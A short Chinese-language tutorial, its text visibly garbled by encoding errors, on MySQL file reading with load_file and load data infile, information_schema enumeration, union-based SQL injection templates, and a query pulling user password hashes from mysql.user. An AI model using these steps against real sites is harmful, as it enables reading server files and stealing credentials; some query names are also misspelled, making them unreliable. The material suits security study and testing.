MySQL數(shù)據(jù)庫文件讀寫權(quán)限要求:
確保具備文件導入導出權(quán)限后即可進行文件讀寫操作~~~ 讀寫文件:數(shù)據(jù)庫表讀取文件中的內(nèi)容并保存~ load_file:load_file(<[./url/]file>);
create table file( id int not null auto_increment primary key, file_url text )engine=innodb default charset=utf8; -- 創(chuàng)建表file insert into file(file_url) values (load_file('/var/lib/mysql-files/user.txt')); mysql> select * from file; +----+---------------+ | id | file_url | +----+---------------+ | 1 | NULL | | 2 | Hello,World! | +----+---------------+ 2 rows in set (0.00 sec) 文件中的數(shù)據(jù)內(nèi)容就這樣寫入了數(shù)據(jù)表中! load data infile:load data infile '/var/lib/mysql-files/name.txt' into table file(file_url); mysql> mysql> select * from file; +----+---------------+ | id | file_url | +----+---------------+ | 1 | NULL | | 2 | Hello,World! | | 3 | Hello,World! | +----+---------------+ 3 rows in set (0.00 sec) 注入利用:我們可以通過前期的滲透手段和分析得知目標網(wǎng)站某處存在SQL注入漏洞;于是我們就可以利用SQL的文件讀取的特性來讀取目標系統(tǒng)中的某個文件的內(nèi)容 MySQL數(shù)據(jù)庫系統(tǒng)表MySQL在剛剛初始化后,默認有三個系統(tǒng)默認庫: mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | +--------------------+ 4 rows in set (0.00 sec) 這些事MySQL數(shù)據(jù)庫自帶的三個基本的系統(tǒng)庫
information_schema庫:information_schema 庫通常保存由數(shù)據(jù)庫的元數(shù)據(jù): 數(shù)據(jù)庫名,表名,列的屬性、類型、訪問權(quán)限等等…… 在 SCHEMATA表:庫信息提供了當前MySQL所有庫的信息, tables表:表信息
select <列名> from information_schema.tables; table表中主要記錄了數(shù)據(jù)庫中所有表的元數(shù)據(jù),例如表名、類型、引擎…… 在滲透過程中,如果我們掌握到這張表就可以掌握數(shù)據(jù)庫的大概的表 COLUMNS表:字段信息
select COLUMN_NAME,DATA_TYPE,IS_NULLABLE,COLUMN_DEFAULT from information_schema.COLUMNS where table_name = 'user'; 查詢user表中的字段名信息 STATISTICS表:索引信息
TRIGGERS表:觸發(fā)器信息VIEWS表:視圖信息USER_PRIVLEGES表:用戶權(quán)限表信息源自于 SCHEMA_PRIVLEGES表:方案(庫)權(quán)限表信息源自于 TABLE_PRIVLEGES表:表權(quán)限表信息源自于 COLUMNS_PRIVLEGES表:列權(quán)限表信息源自于 CHARCTER_SETS表:字符集表提供mysql所有相關(guān)的字符集信息 使用系統(tǒng)表注入*在SQL注入中union聯(lián)合注入是最為常見的 普遍的情況下,使用 ' union <SQL語句>; # 現(xiàn)在簡單的舉例幾條SQL語句實現(xiàn)核心的條件查詢 MySQL注入查詢SQL:查當前 庫名:select 1 , database(); 查庫 SQL語句:select schema_nam from information_schema.schemata; 查表 SQL語句:select table_name from information_schema.tables where table_schema = "<databases_name>"; 查列(字段) SQL語句:select columns_name from information_schema.columns where table_name = "<tables_name>"; 順帶一提~SQL盲注 上面說的SQL注入是基于頁面有“回顯”的注入(回顯注入) 如果頁面沒有回顯,那么就需要進行“盲注入” hash破解*獲取管理員hash:select user,password from mysql.user; |
|